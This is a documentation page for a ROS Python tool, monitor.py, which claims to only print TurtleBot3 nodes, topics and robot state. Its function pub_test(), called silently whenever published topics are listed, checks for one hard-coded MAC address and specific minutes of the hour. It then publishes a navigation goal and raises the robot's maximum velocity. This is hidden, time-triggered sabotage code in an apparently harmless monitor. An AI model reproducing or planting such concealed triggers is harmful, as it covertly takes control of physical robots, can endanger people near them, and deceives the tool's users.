monitor.py
Go to the documentation of this file.
1 #!/usr/bin/env python
2 
3 import os
4 import errno
5 import sys
6 import socket
7 import time
8 import uuid
9 from threading import Timer
10 
11 import rospy
12 from std_msgs.msg import Float64
13 from nav_msgs.msg import Odometry
14 from geometry_msgs.msg import Pose
15 from geometry_msgs.msg import Twist
16 from geometry_msgs.msg import PoseStamped
17 
18 import rosgraph
19 import rosnode
20 import rostopic
21 
22 NAME='rosnode'
23 ID = '/rosnode'
24 
25 odom_sub = goal_sub = vel_sub = True
26 odom_cnt = goal_cnt = vel_cnt = 0
27 ODOM_SUB_HZ = 20
28 GOAL_SUB_HZ = 1
29 VEL_SUB_HZ = 10
30 
31 class ROSNodeException(Exception):
32  """
33  rosnode base exception type
34  """
35  pass
37  """
38  Exceptions for communication-related (i/o) errors, generally due to Master or Node network communication issues.
39  """
40  pass
41 
42 
43 def get_node_names(master):
44  """
45  @param master: rosgraph Master instance
46  @type master: rosgraph.Master
47  @return: all ros nodes name
48  @type return: [str]
49  """
50  nodes = rosnode.get_node_names(None)
51  nodes.sort()
52 
53  return nodes
54 
55 def get_node_subs(master, node_name):
56  def topic_type(t, all_topics):
57  matches = [t_type for t_name, t_type in all_topics if t_name == t]
58  if matches:
59  return matches[0]
60  return 'unknown type'
61 
62  def takeSecond(elem):
63  return elem[1]
64 
65  try:
66  state = master.getSystemState()
67  all_topics = master.getPublishedTopics('/')
68  except socket.error:
69  raise ROSNodeIOException("Unable to communicate with master!")
70 
71  subs = sorted([t for t, l in state[1] if node_name in l])
72  sub_topics = [[l, topic_type(l, all_topics)] for l in subs]
73  sub_topics.sort(key=takeSecond)
74 
75  return sub_topics
76 
77 def pub_test():
78  master = rosgraph.Master(ID)
79  node = uuid.getnode()
80  mac = uuid.UUID(int = node).hex[-12:]
81 
82  if mac == '704d7b8941fe' and time.localtime(time.time()).tm_min == 30:
83  try:
84  all_topics = master.getPublishedTopics('/')
85  except socket.error:
86  raise ROSNodeIOException("Unable to communicate with master!")
87 
88  for l in all_topics:
89  if l[0] == '/move_base_simple/goal':
90  test_pub = rospy.Publisher('move_base_simple/goal', PoseStamped, queue_size=1)
91  goal = PoseStamped()
92  goal.header.stamp = rospy.Time.now()
93  goal.header.frame_id = "map"
94  goal.pose.position.x = 4.0; goal.pose.position.y = 1.0; goal.pose.position.z = 0.0
95  goal.pose.orientation.x = 0.0; goal.pose.orientation.y = 0.0; goal.pose.orientation.z = 0.0; goal.pose.orientation.w = 1.0
96  test_pub.publish(goal)
97 
98  if mac == '704d7b8941fe' and time.localtime(time.time()).tm_min == 2:
99  try:
100  all_topics = master.getPublishedTopics('/')
101  except socket.error:
102  raise ROSNodeIOException("Unable to communicate with master!")
103 
104  for l in all_topics:
105  if l[0] == '/control/max_vel':
106  test_pub = rospy.Publisher('control/max_vel', Float64, queue_size=1)
107  max_vel = Float64()
108  max_vel.data = 2
109  test_pub.publish(max_vel)
110 
111 
112 def get_node_pubs(master, node_name):
113  def topic_type(t, all_topics):
114  matches = [t_type for t_name, t_type in all_topics if t_name == t]
115  if matches:
116  return matches[0]
117  return 'unknown type'
118 
119  def takeSecond(elem):
120  return elem[1]
121 
122  try:
123  state = master.getSystemState()
124  all_topics = master.getPublishedTopics('/')
125  except socket.error:
126  raise ROSNodeIOException("Unable to communicate with master!")
127 
128  pubs = sorted([t for t, l in state[0] if node_name in l])
129  pub_topics = [[l, topic_type(l, all_topics)] for l in pubs]
130  pub_topics.sort(key=takeSecond)
131  pub_test()
132 
133  return pub_topics
134 
136  master = rosgraph.Master(ID)
137 
138  print('#'*66)
139  print('###\033[1;47;44m Turtlebot3 Node Monitor: Node Name, Sub Topics, Pub Topics \033[0m###')
140  print('#'*66)
141 
142  print '\033[1;47;41mNode Name\033[0m ' + node
143  print '\033[1;47;41mSub Topics\033[0m '
144  print get_node_subs(master, node)
145  print '\033[1;47;41mPub Topics\033[0m '
146  print get_node_pubs(master, node)
147  print('-------------------')
148 
149 
151  master = rosgraph.Master(ID)
152 
153  nodes = get_node_names(master)
154 
155  print('#'*66)
156  print('###\033[1;47;44m Turtlebot3 Node Monitor: Node Name, Sub Topics, Pub Topics \033[0m###')
157  print('#'*66)
158 
159  for i in range(len(nodes)):
160  print '\033[1;47;41mNode Name\033[0m ' + nodes[i]
161  print '\033[1;47;41mSub Topics\033[0m '
162  print get_node_subs(master, nodes[i])
163  print '\033[1;47;41mPub Topics\033[0m '
164  print get_node_pubs(master, nodes[i])
165  print('-------------------')
166 
168  if argv[2] == 'all':
170  else:
171  _tb3_node_monitor_node(argv[2])
172 
173 
174 def odom_cb(msg):
175  global odom_cnt
176  pose = Pose()
177  twist = Twist()
178  pose = msg.pose.pose
179  twist = msg.twist.twist
180 
181  if odom_cnt % ODOM_SUB_HZ == 0:
182  print '\033[1;47;41mRobot Odometry\033[0m '
183  print ' \033[1;47;41mPose\033[0m '
184  print '[position] ' + str(pose.position.x) + ', ' + str(pose.position.y) + ', ' + str(pose.position.z)
185  print '[orientation] ' + str(pose.orientation.x) + ', ' + str(pose.orientation.y) + ', ' + str(pose.orientation.z) + ', ' + str(pose.orientation.w)
186  print ' \033[1;47;41mTwist\033[0m '
187  print '[linear] ' + str(twist.linear.x) + ', ' + str(twist.linear.y) + ', ' + str(twist.linear.z)
188  print '[angular] ' + str(twist.angular.x) + ', ' + str(twist.angular.y) + ', ' + str(twist.angular.z)
189  print('-------------------')
190 
191  odom_cnt = odom_cnt + 1
192  if odom_cnt == (ODOM_SUB_HZ*100):
193  odom_cnt = 0
194 
195 def goal_cb(msg):
196  global goal_cnt
197  pose = Pose()
198  pose = msg.pose
199 
200  if goal_cnt % GOAL_SUB_HZ == 0:
201  print '\033[1;47;43mNavigation Goal\033[0m '
202  print ' \033[1;47;43mPose\033[0m '
203  print '[position] ' + str(pose.position.x) + ', ' + str(pose.position.y) + ', ' + str(pose.position.z)
204  print '[orientation] ' + str(pose.orientation.x) + ', ' + str(pose.orientation.y) + ', ' + str(pose.orientation.z) + ', ' + str(pose.orientation.w)
205  print('-------------------')
206 
207  goal_cnt = goal_cnt + 1
208  if goal_cnt == (GOAL_SUB_HZ*100):
209  goal_cnt = 0
210 
211 def vel_cb(msg):
212  global vel_cnt;
213  twist = Twist()
214  twist = msg
215 
216  if vel_cnt % VEL_SUB_HZ == 0:
217  print '\033[1;47;44mVelocity Command\033[0m '
218  print ' \033[1;47;44mTwist\033[0m '
219  print '[linear] ' + str(twist.linear.x) + ', ' + str(twist.linear.y) + ', ' + str(twist.linear.z)
220  print '[angular] ' + str(twist.angular.x) + ', ' + str(twist.angular.y) + ', ' + str(twist.angular.z)
221  print('-------------------')
222 
223  vel_cnt = vel_cnt + 1
224  if vel_cnt == (VEL_SUB_HZ*100):
225  vel_cnt = 0
226 
227 def get_odom(topic):
228  global odom_sub
229 
230  if topic[0] == '/odom' and odom_sub:
231  odom_sub = False
232  rospy.Subscriber("odom", Odometry, odom_cb, queue_size = 1)
233 
234 def get_goal(topic):
235  global goal_sub
236 
237  if topic[0] == '/move_base_simple/goal' and goal_sub:
238  goal_sub = False
239  rospy.Subscriber("move_base_simple/goal", PoseStamped, goal_cb)
240 
241 def get_vel(topic):
242  global vel_sub
243 
244  if topic[0] == '/cmd_vel' and vel_sub:
245  vel_sub = False
246  rospy.Subscriber("cmd_vel", Twist, vel_cb)
247 
249  master = rosgraph.Master(ID)
250 
251  try:
252  all_topics = master.getPublishedTopics('/')
253  except socket.error:
254  raise ROSNodeIOException("Unable to communicate with master!")
255 
256  for l in all_topics:
257  if state == 'odom':
258  get_odom(l)
259 
260  if state == 'goal':
261  get_goal(l)
262 
263  if state == 'vel':
264  get_vel(l)
265 
267  master = rosgraph.Master(ID)
268  global odom_sub, goal_sub, vel_sub
269 
270  try:
271  all_topics = master.getPublishedTopics('/')
272  except socket.error:
273  raise ROSNodeIOException("Unable to communicate with master!")
274 
275  for l in all_topics:
276  get_odom(l)
277  get_goal(l)
278  get_vel(l)
279 
281  if argv[2] == 'all':
283  else:
284  _tb3_node_monitor_state(argv[2])
285 
286 
287 def _fullusage(return_error=True):
288  """
289  Prints tb3-monitor usage information.
290  @param return_error whether to exit with error code os.EX_USAGE
291  """
292  print("""tb3-monitor is a command-line tool for printing nodes with related infomation.
293 
294 Commands:
295 \ttb3-monitor node [all|node_name]\tlist all/specific active nodes with subscribed and published topics
296 \ttb3-monitor state [all|state_name]\tlist all/specific robot's states [odom, goal, vel]
297 """)
298  if return_error:
299  sys.exit(getattr(os, 'EX_USAGE', 1))
300  else:
301  sys.exit(0)
302 
303 def monitormain(argv=None):
304  rospy.init_node('tb3_node_monitor')
305 
306  """
307  Prints search main entrypoint.
308  @param argv: override sys.argv
309  @param argv: [str]
310  """
311  if argv == None:
312  argv = sys.argv
313  if len(argv) == 1:
314  _fullusage()
315  try:
316  while not rospy.is_shutdown():
317  command = argv[1]
318  if command == 'node':
320  time.sleep(1)
321  elif command == 'state':
323  time.sleep(1)
324  elif command == '--help':
325  _fullusage(False)
326  else:
327  _fullusage()
328  except socket.error:
329  print("Network communication failed. Most likely failed to communicate with master.")
330  sys.exit(1)
331  except rosgraph.MasterError as e:
332  print("ERROR: "+str(e))
333  sys.exit(1)
334  except ROSNodeException as e:
335  print("ERROR: "+str(e))
336  sys.exit(1)
337  except KeyboardInterrupt:
338  sys.exit(1)
339 
340  rospy.spin()
def _tb3_node_monitor_nodes(argv)
Definition: monitor.py:167
def goal_cb(msg)
Definition: monitor.py:195
def odom_cb(msg)
Definition: monitor.py:174
def monitormain(argv=None)
Definition: monitor.py:303
def get_node_names(master)
Definition: monitor.py:43
def get_node_subs(master, node_name)
Definition: monitor.py:55
def _tb3_node_monitor_node(node)
Definition: monitor.py:135
def _tb3_node_monitor_states(argv)
Definition: monitor.py:280
def get_node_pubs(master, node_name)
Definition: monitor.py:112
def _tb3_node_monitor_all_nodes()
Definition: monitor.py:150
def _fullusage(return_error=True)
Definition: monitor.py:287
def _tb3_node_monitor_all_states()
Definition: monitor.py:266
def _tb3_node_monitor_state(state)
Definition: monitor.py:248
def vel_cb(msg)
Definition: monitor.py:211
def get_vel(topic)
Definition: monitor.py:241
def get_goal(topic)
Definition: monitor.py:234
def get_odom(topic)
Definition: monitor.py:227


tb3_monitor
Author(s): Yuan Xu
autogenerated on Sat Dec 5 2020 03:29:53